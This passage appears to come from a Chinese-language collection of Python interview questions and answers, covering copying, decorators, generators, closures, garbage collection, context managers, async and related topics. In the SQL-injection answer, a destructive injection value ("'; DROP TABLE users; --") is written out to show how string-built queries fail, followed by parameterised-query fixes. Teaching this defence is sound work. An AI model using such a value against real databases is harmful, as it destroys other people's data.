original = [[1, 2], [3, 4]]
# 浅拷贝
shallow = copy.copy(original)
shallow[0][0] = 99
print(original) # [[99, 2], [3, 4]] — 原列表也被改了!(内层共享)
# 深拷贝
original = [[1, 2], [3, 4]]
deep = copy.deepcopy(original)
deep[0][0] = 99
print(original) # [[1, 2], [3, 4]] — 原列表不受影响
一句话记忆:浅拷贝像"复印件的复印件"(共享原件内部),深拷贝像"完全克隆"(独立存在)。
答:装饰器是一个接受函数作为参数、返回新函数的函数,用来在不修改原函数代码的前提下增加功能。
# 定义装饰器
def log(func):
def wrapper(*args, **kwargs):
print(f"调用了 {func.__name__}")
result = func(*args, **kwargs)
print(f"调用结束")
return result
return wrapper
# 使用装饰器
@log
def add(a, b):
return a + b
add(1, 2)
# 输出:
# 调用了 add
# 调用结束
@log 等价于:add = log(add)
常见用途:日志记录、权限验证、性能计时、缓存(@lru_cache)、重试机制。
答:生成器是一种惰性求值的迭代器,它不会一次性把所有数据加载到内存,而是每次调用 next() 时才计算下一个值。
# 列表推导式:一次性生成所有数据
lst = [x ** 2 for x in range(1000000)] # 占用大量内存
# 生成器表达式:每次只算一个
gen = (x ** 2 for x in range(1000000)) # 几乎不占内存
next(gen) # 0
next(gen) # 1
next(gen) # 4
# 生成器函数(用 yield)
def countdown(n):
while n > 0:
yield n
n -= 1
for num in countdown(5):
print(num) # 5, 4, 3, 2, 1
区别:
| 对比 | 列表 | 生成器 |
|---|---|---|
| 内存 | 一次性全部加载 | 按需生成,几乎不占内存 |
| 速度 | 创建慢,访问快 | 创建快,每次 next 计算 |
| 可重复 | 可以多次遍历 | 只能遍历一次 |
| 适用场景 | 数据量小、需要多次访问 | 数据量大、只需遍历一次 |
答:
== 比较值是否相等is 比较内存地址是否相同(是否是同一个对象)a = [1, 2, 3]
b = [1, 2, 3]
c = a
a == b # True(值相同)
a is b # False(不是同一个对象)
a is c # True(c 就是 a)
# 小整数缓存
x = 256
y = 256
x is y # True(Python 缓存了 -5 到 256)
x = 257
y = 257
x is y # False(超出缓存范围)
最佳实践:比较值用 ==,判断是否是 None 用 is(if x is None)。
答:闭包是一个记住了外部变量的内部函数,即使外部函数已经执行完毕。
def make_counter():
count = 0
def counter():
nonlocal count
count += 1
return count
return counter
c = make_counter()
print(c()) # 1
print(c()) # 2
print(c()) # 3
# count 变量"活"在闭包里,外部无法直接访问
闭包的三个条件:
常见用途:回调函数、工厂函数、装饰器的本质就是闭包。
答:@property 把一个方法变成属性来调用,同时可以控制读取、设置、删除的行为。
class Circle:
def __init__(self, radius):
self._radius = radius
@property
def radius(self):
"""getter:读取 radius 时触发"""
return self._radius
@radius.setter
def radius(self, value):
"""setter:设置 radius 时触发"""
if value < 0:
raise ValueError("半径不能为负")
self._radius = value
@property
def area(self):
"""只读属性(没有 setter)"""
return 3.14159 * self._radius ** 2
c = Circle(5)
print(c.radius) # 5(像属性一样访问)
print(c.area) # 78.53975(只读)
c.radius = 10 # 像属性一样赋值
c.area = 100 # 报错!AttributeError(没有 setter)
答:Python 用引用计数为主,分代回收为辅。
import sys
a = [1, 2, 3]
print(sys.getrefcount(a)) # 2(a 本身 + getrefcount 的参数)
b = a
print(sys.getrefcount(a)) # 3(多了一个引用)
del b
print(sys.getrefcount(a)) # 2(引用减少)
引用计数:每个对象有一个计数器,引用+1,删除引用-1,归零时立即回收。
分代回收:专门处理循环引用(A 引用 B,B 引用 A,引用计数永远不为 0)。
# 循环引用
a = []
b = []
a.append(b)
b.append(a)
del a, b # 引用计数不为 0,但分代回收会处理
三代回收:新对象在第 0 代,经过回收存活的晋升到下一代。第 0 代回收最频繁,第 2 代最少。
答:
| 类型 | 可变/不可变 | 包含 |
|---|---|---|
| 不可变 | 创建后不能修改 | int, float, str, tuple, frozenset, bytes |
| 可变 | 可以修改内容 | list, dict, set, bytearray |
# 不可变对象修改时会创建新对象
s = "hello"
print(id(s)) # 140234567890
s += " world"
print(id(s)) # 140234567999(地址变了,是新对象)
# 可变对象修改时地址不变
lst = [1, 2]
print(id(lst)) # 140234568000
lst.append(3)
print(id(lst)) # 140234568000(同一个对象)
重要影响:可变对象不能作为字典的 key(因为 hash 值可能变),不可变对象可以。
答:Python 中所有东西都是对象,包括数字、字符串、函数、类、甚至模块。
# 数字是对象
x = 42
print(type(x)) # <class 'int'>
print(x.bit_length()) # 6(对象有方法)
# 函数是对象
def greet(): pass
print(type(greet)) # <class 'function'>
greet.custom_attr = "hello" # 函数可以有属性
# 类也是对象
class Dog: pass
print(type(Dog)) # <class 'type'>
Dog.version = "1.0" # 类可以有属性
# 甚至 type 本身也是对象
print(type(type)) # <class 'type'>
这意味着:所有东西都可以赋值给变量、作为参数传递、作为返回值返回、拥有属性和方法。
答:with 语句调用对象的 __enter__ 和 __exit__ 方法,确保资源被正确释放。
# with 语句
with open("file.txt") as f:
content = f.read()
# 等价于:
f = open("file.txt")
try:
content = f.read()
finally:
f.close() # 无论是否出错都关闭
# 自定义 with 对象
class Timer:
def __enter__(self):
import time
self.start = time.time()
return self
def __exit__(self, exc_type, exc_val, exc_tb):
self.elapsed = time.time() - self.start
print(f"耗时: {self.elapsed:.2f}秒")
return False # 不吞掉异常
with Timer() as t:
sum(range(1000000))
# 输出:耗时: 0.03秒
__exit__ 的参数:如果 with 块内发生异常,三个参数会包含异常信息。返回 True 会吞掉异常,返回 False 会继续抛出。
答:
| 对比 | 多线程 threading | 异步 async/await |
|---|---|---|
| 并发方式 | 操作系统切换线程 | 程序主动让出控制权 |
| 适用场景 | IO 密集型、需要兼容旧代码 | 高并发网络请求、大量 IO |
| 开销 | 每个线程占内存(~8MB) | 协程几乎不占内存 |
| 数据安全 | 需要锁机制 | 单线程,无需锁 |
| 代码复杂度 | 较低(同步风格) | 较高(需要 async/await) |
# 多线程:操作系统调度
import threading
def download(url):
print(f"下载 {url}")
t = threading.Thread(target=download, args=("http://...",))
# 异步:程序主动让出
import asyncio
async def download(url):
print(f"下载 {url}")
await asyncio.sleep(1) # 让出控制权
asyncio.run(download("http://..."))
一句话:多线程是"多个人同时干活",异步是"一个人在等待时去做别的事"。
答:永远不要用字符串拼接 SQL,使用参数化查询。
# 危险!容易被注入
name = "'; DROP TABLE users; --"
query = f"SELECT * FROM users WHERE name = '{name}'"
# 结果:SELECT * FROM users WHERE name = ''; DROP TABLE users; --'
# 安全:使用参数化查询
import sqlite3
conn = sqlite3.connect("db.sqlite")
cursor = conn.cursor()
# 方式 1:占位符 ?
cursor.execute("SELECT * FROM users WHERE name = ?", (name,))
# 方式 2:ORM(如 SQLAlchemy)
# User.query.filter_by(name=name).first()
# 方式 3:转义(不推荐,不如参数化安全)
核心原则:用户输入永远不能直接拼接到 SQL 语句中,必须通过参数传递给数据库驱动。
答:通常说 Python 是"解释型语言",但这个说法过于简化。准确地说:
# 查看 CPython 字节码
import dis
def add(a, b):
return a + b
dis.dis(add)
# 输出字节码指令:
# 0 LOAD_FAST 0 (a)
# 2 LOAD_FAST 1 (b)
# 4 BINARY_ADD
# 6 RETURN_VALUE
# Python 源代码 → 字节码(编译)→ 虚拟机执行(解释)
面试建议:不要只说"Python 是解释型语言",要提到字节码编译和 JIT,展现你对 Python 底层实现的理解。
答:__slots__ 限制实例只能拥有指定的属性,好处是节省内存和防止动态添加属性。
class User:
__slots__ = ("name", "age") # 只允许这两个属性
def __init__(self, name, age):
self.name = name
self.age = age
u = User("张三", 25)
u.name # OK
u.email = "test@test.com" # 报错!AttributeError
适用场景:大量创建对象时(如百万级实例),slots 可以节省 30%-50% 内存。
答:@dataclass 自动帮你生成 __init__、__repr__、__eq__ 等方法,减少样板代码。
# 普通类——手写很多方法
class User:
def __init__(self, name, age):
self.name = name
self.age = age
def __repr__(self):
return f"User(name={self.name}, age={self.age})"
def __eq__(self, other):
return self.name == other.name and self.age == other.age
# dataclass——自动搞定
from dataclasses import dataclass
@dataclass
class User:
name: str
age: int
# 自动拥有 __init__, __repr__, __eq__
u = User("张三", 25)
print(u) # User(name='张三', age=25)
答:MRO 决定了多继承时方法的查找顺序。Python 使用 C3 线性化算法。
class A:
def greet(self): return "A"
class B(A):
def greet(self): return "B"
class C(A):
def greet(self): return "C"
class D(B, C):
pass
print(D().greet()) # "B"(B 在 C 前面)
print(D.__mro__) # (D, B, C, A, object)
记住:Python 查找方法时按 MRO 顺序从左到右找,找到就停。用 ClassName.__mro__ 查看。
答:match-case 是 Python 3.10 引入的模式匹配语法,类似其他语言的 switch-case,但更强大。
# 基本用法
def handle_command(command: str):
match command.split():
case ["quit"]:
print("退出")
case ["hello", name]:
print(f"你好,{name}")
case ["add", *numbers]:
print(f"求和:{sum(int(n) for n in numbers)}")
case _:
print("未知命令")
handle_command("hello 张三") # 你好,张三
handle_command("add 1 2 3") # 求和:6
# 匹配字典结构
def process(event: dict):
match event:
case {"type": "click", "x": x, "y": y}:
print(f"点击坐标:({x}, {y})")
case {"type": "key", "key": key}:
print(f"按键:{key}")
case _:
print("未知事件")
答:Python 使用引用计数为主,分代回收为辅的垃圾回收机制。
gc.collect() 手动触发回收,gc.get_count() 查看各代计数import gc
# 查看引用计数
import sys
a = [1, 2, 3]
print(sys.getrefcount(a)) # 2(a 和 getrefcount 参数)
# 循环引用的例子
class Node:
def __init__(self):
self.ref = None
a = Node()
b = Node()
a.ref = b # a → b
b.ref = a # b → a(循环引用)
del a, b # 引用计数不为0,但已经不可达
gc.collect() # 分代回收能检测到并清理